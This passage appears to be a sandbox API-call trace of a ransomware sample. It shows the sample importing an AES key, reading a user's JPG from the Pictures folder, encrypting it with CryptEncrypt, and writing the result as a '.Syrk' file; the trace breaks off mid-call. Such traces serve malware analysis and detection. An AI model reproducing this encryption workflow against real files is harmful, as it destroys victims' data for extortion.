(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0255.198] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.199] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0255.199] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0255.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0255.199] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.199] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0255.199] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0255.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0255.199] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.199] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0255.199] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0255.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0255.200] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.200] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0255.200] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0255.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0255.200] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.200] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0255.200] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0255.201] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.201] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0255.201] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0255.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0255.201] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.201] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0255.201] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0255.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0255.202] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0255.202] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0255.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0255.202] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0255.202] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0255.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0255.202] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0255.202] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0255.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0255.203] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.203] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0255.203] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0255.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0255.203] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.203] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0255.203] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0255.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0255.204] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.204] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0255.204] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0255.204] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0255.205] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0255.205] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0255.205] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0255.205] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0255.205] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0255.205] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0255.205] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0255.208] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0255.208] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0255.208] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0255.208] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0255.208] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0255.208] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0255.208] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0255.209] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0255.209] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0255.209] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0255.209] EtwEventActivityIdControl () returned 0x0 [0255.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0255.210] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0255.210] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0255.210] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0255.212] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cff0) returned 1 [0255.214] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x243c63c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99ae0) returned 1 [0255.214] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.215] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.215] EtwEventActivityIdControl () returned 0x0 [0255.215] EtwEventActivityIdControl () returned 0x0 [0255.215] EtwEventActivityIdControl () returned 0x0 [0255.223] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg")) returned 0x20 [0255.224] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg")) returned 0x20 [0255.225] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0255.225] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", lpFilePart=0x0) returned 0x30 [0255.225] EtwEventActivityIdControl () returned 0x0 [0255.225] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.226] EtwEventActivityIdControl () returned 0x0 [0255.226] EtwEventActivityIdControl () returned 0x0 [0255.226] EtwEventActivityIdControl () returned 0x0 [0255.227] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0255.227] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", lpFilePart=0x0) returned 0x30 [0255.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0255.227] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0255.227] GetFileType (hFile=0x364) returned 0x1 [0255.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0255.227] GetFileType (hFile=0x364) returned 0x1 [0255.227] EtwEventActivityIdControl () returned 0x0 [0255.228] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.228] EtwEventActivityIdControl () returned 0x0 [0255.228] EtwEventActivityIdControl () returned 0x0 [0255.228] EtwEventActivityIdControl () returned 0x0 [0255.229] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0255.229] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg.Syrk", nBufferLength=0x36, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg.Syrk", lpFilePart=0x0) returned 0x35 [0255.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0255.229] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0255.230] GetFileType (hFile=0x368) returned 0x1 [0255.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0255.230] GetFileType (hFile=0x368) returned 0x1 [0255.230] EtwEventActivityIdControl () returned 0x0 [0255.230] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x244ccb8 | out: pbBuffer=0x244ccb8) returned 1 [0255.231] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.232] CryptDuplicateKey (in: hKey=0x5c99ae0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99a60) returned 1 [0255.232] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.232] CryptSetKeyParam (hKey=0x5c99a60, dwParam=0x4, pbData=0x244dfe4*=0x1, dwFlags=0x0) returned 1 [0255.232] CryptSetKeyParam (hKey=0x5c99a60, dwParam=0x1, pbData=0x244dfb0, dwFlags=0x0) returned 1 [0255.232] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.232] EtwEventActivityIdControl () returned 0x0 [0255.232] EtwEventActivityIdControl () returned 0x0 [0255.232] EtwEventActivityIdControl () returned 0x0 [0255.233] EtwEventActivityIdControl () returned 0x0 [0255.234] ReadFile (in: hFile=0x364, lpBuffer=0x2450c2c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2450c2c*, lpNumberOfBytesRead=0x5a2e7d8*=0x20f1, lpOverlapped=0x0) returned 1 [0255.235] CryptEncrypt (in: hKey=0x5c99a60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2464c44*, pdwDataLen=0x5a2e7cc*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x2464c44*, pdwDataLen=0x5a2e7cc*=0x20f0) returned 1 [0255.235] WriteFile (in: hFile=0x368, lpBuffer=0x244cd94*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x244cd94*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0255.238] WriteFile (in: hFile=0x368, lpBuffer=0x2465c30*, nNumberOfBytesToWrite=0x1104, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2465c30*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1104, lpOverlapped=0x0) returned 1 [0255.238] ReadFile (in: hFile=0x364, lpBuffer=0x2450c2c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2450c2c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0255.238] CryptEncrypt (in: hKey=0x5c99a60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2466d40*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2466d40*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0255.239] CryptEncrypt (in: hKey=0x5c99a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2466d5c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2466d5c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0255.239] WriteFile (in: hFile=0x368, lpBuffer=0x244cd94*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x244cd94*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0255.239] CloseHandle (hObject=0x368) returned 1 [0255.240] CloseHandle (hObject=0x364) returned 1 [0255.241] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.241] EtwEventActivityIdControl () returned 0x0 [0255.241] EtwEventActivityIdControl () returned 0x0 [0255.241] EtwEventActivityIdControl () returned 0x0 [0255.246] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg")) returned 0x20 [0255.248] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0255.248] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", lpFilePart=0x0) returned 0x30 [0255.248] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0255.248] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0255.248] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0255.248] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0255.249] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0255.249] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0255.249] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0255.249] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0255.249] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0255.249] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0255.249] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0255.249] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0255.249] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0255.249] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0255.249] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0255.250] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0255.250] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg")) returned 0x20 [0255.250] GetFullPathNameW (in: 